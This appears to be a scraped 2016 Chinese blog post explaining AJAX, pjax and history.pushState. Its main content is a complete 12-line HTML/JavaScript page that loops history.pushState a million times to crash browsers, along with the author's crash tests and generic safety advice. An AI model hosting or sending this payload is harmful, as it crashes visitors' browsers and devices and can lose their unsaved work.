让浏览器崩溃的12行JS代码(DoS攻击分析及防御)


Posted in Javascript onOctober 10, 2016

Ajax与pjax

AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换,AJAX可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新-无刷新操作。

但是,ajax应用也会造成另外的问题,容易导致浏览器无法前进与后退,这是个很头疼的问题,开发人员必须增加工作量(比如通过一个隐藏的iframe,或者改变location.hash值等方法)来解决。

为了解决传统ajax带来的问题,HTML5里引入了新的API:history.pushState,它和ajax结合后,有个新的称呼是pjax。是一种基于ajax+history.pushState的新技术,该技术可以无刷新改变页面的内容,并且可以改变页面的URL。pjax是ajax+pushState的封装,同时支持本地存储、动画等多种功能。目前支持jquery、qwrap、kissy等多种版本。

让浏览器崩溃的12行JS代码(DoS攻击分析及防御)

HTML5.history.pushState

HTML5可以通过pushState和replaceState接口操作浏览器历史,并且改变当前页面的URL。

pushState是将指定的URL添加到浏览器历史里,存储当前历史记录点。replaceState是将指定的URL替换当前的URL。同时,这些方法会和window.onpostate事件一起工作。

history.pushState(data, title, url) : 往历史记录堆栈顶部添加一条记录;data会在onpopstate事件触发时作为参数传递过去;title为页面标题,当前所有浏览器一般都会 忽略此参数;url为页面地址,可选,缺省为当前页地址。具体细节:

state?对象是一个JavaScript状态对象,记录历史记录点的额外对象,可以为空。它关系到由pushState()方法创建出来的新的history实体。用以存储关于你所要插入到历史记录的条目的相关信息。

title—所有浏览器一般都会 忽略此参数,虽然它可能将来会被使用上。而现在最安全的使用方式是传一个空字符串,以防止将来的修改,或者可以传一个简短的标题来表示state。

URL—这个参数用来传递新的history实体的URL,新的url必须和现有的url同域,否则pushState()将抛出异常。这个参数是选填的,如果为空,则会被置为document当前的url。

十二行代码分析

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
 total= total+i.toString();
 history.pushState(0,0,total);
}
</script>
</body>
</html>

上面就是十二行代码,关键点在于针对total这个url的循环: history.pushState(0,0,total);不停的在修改url,循环了1000000次,不停的向历史记录堆栈中新增记录,会导致CPU和内存占用率过高以及firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。

让浏览器崩溃的12行JS代码(DoS攻击分析及防御)

在XP虚拟机(i7单核3.4G、512内存) 亲自实测:

     当上面那个循环次数为十万以上级别的时候,CPU,内存使用率瞬间100%,然后崩溃死机;

     当上面那个循环次数缩小到10000左右的时候,CPU,内存使用率大概在20秒内逐渐升高至100%,然后崩溃死机;

     当上面那个循环次数缩小到500左右的时候, CPU使用率逐渐升高到达100%后,再次瞬间恢复到稳定状态,内存使用从130M左右升高至230M左右,而打开的192.168.56.106/12.html这个页面后,地址栏里面的链接也变成了:http://192.168.56.106/0123456789101112131415161718192021…… 494495496497498499

可见,通过循环不停的向向历史记录堆栈中新增记录的同时,页面会刷新到跳转的新地址,就是循环累加的一个“伪地址”,当这个长度超限的时候,就会引起dos了,攻击的效果和效率完全取决于循环的次数和tagret的硬件配置。

相关的防御

相信大家的安全意识已经非常的强悍了,但是还是要警钟长鸣,不要轻信任何陌生人通过任何方式发给你的链接、附件、邮件、图片等任何信息,当然不排除好基友们损友们的恶作剧了,所以小伙伴儿们记得经常Ctrl+S哦,否则被搞死机了也会很郁闷的。

互联网自诞生之日起,就暴露在黑客攻击之下,早期的黑客攻击多少还带有技术试验和炫耀的目的,但随着全球互联网基础设施规模的壮大、连接的无限增长和用户数的急剧膨胀,黑客攻击频率也相应增加,黑客技术也在不断的发展,逐渐出现了以非法获取经济利益为目的的黑色产业链。针对互联网安全防护的技术水平更是突飞猛进,道高一尺魔高一丈,攻与防,在这个互联网时代每分每秒都正在发生着。

网络安全的防护,七分靠技术,三分靠意识,要防护这些问题,除了依靠安全厂商的产品和服务,还需要不断提高网络安全意识。比如:注意个人密码的管理、注意个人隐私的保护、不要轻易接入公共的wifi、不要轻易相信陌生/熟悉朋友的链接或者文件等、注意移动支付的安全、不要让设备“裸奔”等等

总结

以上就是这篇文章的全部内容了,希望能对大家的学习或者工作带来一定的帮助,如果有疑问大家可以留言交流。

Javascript 相关文章推荐
比较全面的event对像在IE与FF中的区别 推荐
Sep 21 Javascript
jQuery JSON实现无刷新三级联动实例探讨
May 28 Javascript
javascript获取文档坐标和视口坐标
May 26 Javascript
jquery.mousewheel实现整屏翻屏效果
Aug 30 Javascript
详解javascript实现瀑布流列式布局
Jan 29 Javascript
js简单时间比较的方法
Aug 02 Javascript
老生常谈JavaScript中的this关键字
Oct 01 Javascript
AngularJS入门教程之过滤器用法示例
Nov 02 Javascript
AngularJS中的JSONP实例解析
Dec 01 Javascript
深入理解Vue生命周期、手动挂载及挂载子组件
Sep 27 Javascript
JavaScript选择排序算法原理与实现方法示例
Aug 06 Javascript
vue webpack打包后图片路径错误的完美解决方法
Dec 07 Javascript
KnockoutJS 3.X API 第四章之表单value绑定
Oct 10 #Javascript
jquery操作checkbox火狐下第二次无法勾选的解决方法
Oct 10 #Javascript
浅谈jquery中使用canvas的问题
Oct 10 #Javascript
a标签跳转到指定div,jquery添加和移除class属性的实现方法
Oct 10 #Javascript
浅谈javascript控制HTML5的全屏操控,浏览器兼容的问题
Oct 10 #Javascript
js监听键盘事件的方法_原生和jquery的区别详解
Oct 10 #Javascript
js 弹出虚拟键盘修改密码的简单实例
Oct 10 #Javascript
You might like
php 数组排序 array_multisort与uasort的区别
2011/03/24 PHP
php函数的常用方法及注意之处小结
2011/07/10 PHP
php 判断访客是否为搜索引擎蜘蛛的函数代码
2011/07/29 PHP
php基于mcrypt的加密解密实例
2014/10/27 PHP
PHP使用preg_split()分割特殊字符(元字符等)的方法分析
2017/02/04 PHP
javascript encodeURI和encodeURIComponent的比较
2010/04/03 Javascript
Easy.Ajax 部分源代码 支持文件上传功能, 兼容所有主流浏览器
2011/02/24 Javascript
利用jQuary实现文字浮动提示效果示例代码
2013/12/26 Javascript
Node.js事件驱动
2015/06/18 Javascript
JS获取文件大小方法小结
2015/12/08 Javascript
js利用正则表达式检验输入内容是否为网址
2016/07/05 Javascript
D3.js实现折线图的方法详解
2016/09/21 Javascript
JS 调用微信扫一扫功能
2016/12/22 Javascript
JS动态遍历json中所有键值对的方法(不知道属性名的情况)
2016/12/28 Javascript
NodeJS实现客户端js加密
2017/01/09 NodeJs
Angular.JS中的this指向详解
2017/05/17 Javascript
ReactNative之键盘Keyboard的弹出与消失示例
2017/07/11 Javascript
史上最全JavaScript常用的简写技巧(推荐)
2017/08/17 Javascript
JavaScript基于面向对象实现的猜拳游戏
2018/01/03 Javascript
ES6入门教程之变量的解构赋值详解
2019/04/13 Javascript
Javascript如何实现扩充基本类型
2020/08/26 Javascript
VUE : vue-cli中去掉路由中的井号#操作
2020/09/04 Javascript
python的迭代器与生成器实例详解
2014/07/16 Python
python使用any判断一个对象是否为空的方法
2014/11/19 Python
Python 实现简单的电话本功能
2015/08/09 Python
python控制windows剪贴板,向剪贴板中写入图片的实例
2018/05/31 Python
利用Python实现在同一网络中的本地文件共享方法
2018/06/04 Python
Django开发的简易留言板案例详解
2018/12/04 Python
Python shelve模块实现解析
2019/08/28 Python
Django之choices选项和富文本编辑器的使用详解
2020/04/01 Python
美国新娘礼品店:The Paisley Box
2020/09/08 全球购物
学校卫生检查制度
2014/02/03 职场文书
护理专科自荐书范文
2014/02/18 职场文书
结婚通知短信怎么写
2015/04/17 职场文书
《酸的和甜的》教学反思
2016/02/18 职场文书
Redis IP地址的绑定的实现
2021/05/08 Redis